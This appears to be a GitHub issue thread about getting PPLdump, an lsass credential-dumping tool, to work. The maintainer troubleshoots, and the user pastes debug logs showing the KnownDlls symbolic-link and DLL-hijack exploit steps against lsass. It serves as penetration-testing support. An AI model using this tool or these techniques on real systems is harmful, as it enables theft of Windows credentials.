No Extract produced about ppldump HOT 4 CLOSED

Hi, I removed all the files and extracted from master again. Recompiling as release worked then. Extract has completed successfully. Thanks for your help with this.
Amazing work !!.

from ppldump.

On your first screenshot, the most probable cause is that the payload DLL isn't loaded by the child process (possibly because of a function export mismatch), but I can't say for sure.

On your second screenshot, the error message is completely normal. The first time you executed the tool, the exploit worked and the symbolic link was created in \KnownDlls. Since the payload DLL wasn't loaded, this link wasn't removed by the tool (and only a TCB PPL running as SYSTEM can remove it). Therefore, the second time you run the tool, the system tells you that the link already exists. This particular error can be bypassed using the -f option. Please have a look at the usage.

On some occasions, I found that the DLL was loaded only the second time (for a reason I ignore). So, please try and run the tool with the -f option first.

Then, if it still doesn't work, please provide me with the output of the tool in debug mode, using -d instead of -v.

from ppldump.

Thanks for the really quick reply,I did previously attempt the -f option (but forgot to mention it) - I have included debug outputs from a first run after a reboot and a second run. Do you think I have messed something up when compiled?

C:\pentest\PPLDump\PPLdump-master\x64\Debug>PPLdump.exe -d lsass test.dmp
[user] [] Found a process with name 'lsass' and PID 1652
[DEBUG][user] Check requirements
[DEBUG][user] Target process protection level: -2 - None
[-] Process with ID 1652 is not a PPL
[user] [] Requirements OK
[DEBUG][user] Get the name of the DLL to hijack
[user] [] DLL to hijack: EventAggregation.dll
[user] [] Current user is SYSTEM? -> FALSE
[DEBUG][user] Found a potential Process candidate: PID=1652 - Image='lsass.exe' - User='NT AUTHORITY\SYSTEM'
[DEBUG][user] This token is not restricted.
[DEBUG][user] Found 2/2 required privileges in token.
[DEBUG][user] Found a valid Token candidate.
[SYSTEM] [] Impersonating SYSTEM...
[DEBUG][SYSTEM] Create object directory '\GLOBAL??\KnownDlls'...
[SYSTEM] [] Created Object Directory: '\GLOBAL??\KnownDlls'
[DEBUG][SYSTEM] Create symbolic link '\GLOBAL??\KnownDlls\EventAggregation.dll'...
[SYSTEM] [] Created Symbolic link: '\GLOBAL??\KnownDlls\EventAggregation.dll'
[DEBUG][user] Create symbolic link '??\GLOBALROOT -> \GLOBAL??'...
[user] [] Created symbolic link: '??\GLOBALROOT -> \GLOBAL??'
[DEBUG][user] Call DefineDosDevice to create '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll'
[user] [] DefineDosDevice OK
[DEBUG][user] Impersonate SYSTEM again
[SYSTEM] [] Impersonating SYSTEM...
[DEBUG][SYSTEM] Check whether the symbolic link was really created in '\KnownDlls'
[SYSTEM] [+] The symbolic link was successfully created: '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll'
[DEBUG][SYSTEM] Map our DLL to section '\KernelObjects\EventAggregation.dll'

C:\pentest\PPLDump\PPLdump-master\x64\Debug>PPLdump.exe -f -d lsass test.dmp
[user] [] Found a process with name 'lsass' and PID 1652
[DEBUG][user] Check requirements
[DEBUG][user] Target process protection level: -2 - None
[-] Process with ID 1652 is not a PPL
[user] [] Requirements OK
[DEBUG][user] Get the name of the DLL to hijack
[user] [] DLL to hijack: EventAggregation.dll
[user] [] Current user is SYSTEM? -> FALSE
[DEBUG][user] Found a potential Process candidate: PID=1652 - Image='lsass.exe' - User='NT AUTHORITY\SYSTEM'
[DEBUG][user] This token is not restricted.
[DEBUG][user] Found 2/2 required privileges in token.
[DEBUG][user] Found a valid Token candidate.
[SYSTEM] [] Impersonating SYSTEM...
[DEBUG][SYSTEM] Create object directory '\GLOBAL??\KnownDlls'...
[SYSTEM] [] Created Object Directory: '\GLOBAL??\KnownDlls'
[DEBUG][SYSTEM] Create symbolic link '\GLOBAL??\KnownDlls\EventAggregation.dll'...
[SYSTEM] [] Created Symbolic link: '\GLOBAL??\KnownDlls\EventAggregation.dll'
[DEBUG][user] Create symbolic link '??\GLOBALROOT -> \GLOBAL??'...
[user] [] Created symbolic link: '??\GLOBALROOT -> \GLOBAL??'
[DEBUG][user] Call DefineDosDevice to create '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll'
[-] DefineDosDevice failed with error code 183 - Cannot create a file when that file already exists.
[user] [] DefineDosDevice OK
[DEBUG][user] Impersonate SYSTEM again
[SYSTEM] [] Impersonating SYSTEM...
[DEBUG][SYSTEM] Check whether the symbolic link was really created in '\KnownDlls'
[SYSTEM] [+] The symbolic link was successfully created: '\KnownDlls\EventAggregation.dll' -> '\KernelObjects\EventAggregation.dll'
[DEBUG][SYSTEM] Map our DLL to section '\KernelObjects\EventAggregation.dll'

from ppldump.

Please compile in Release mode and try again.
The Debug mode isn't configured. I should have removed it from the solution.

https://github.com/itm4n/PPLdump#build-instructions

from ppldump.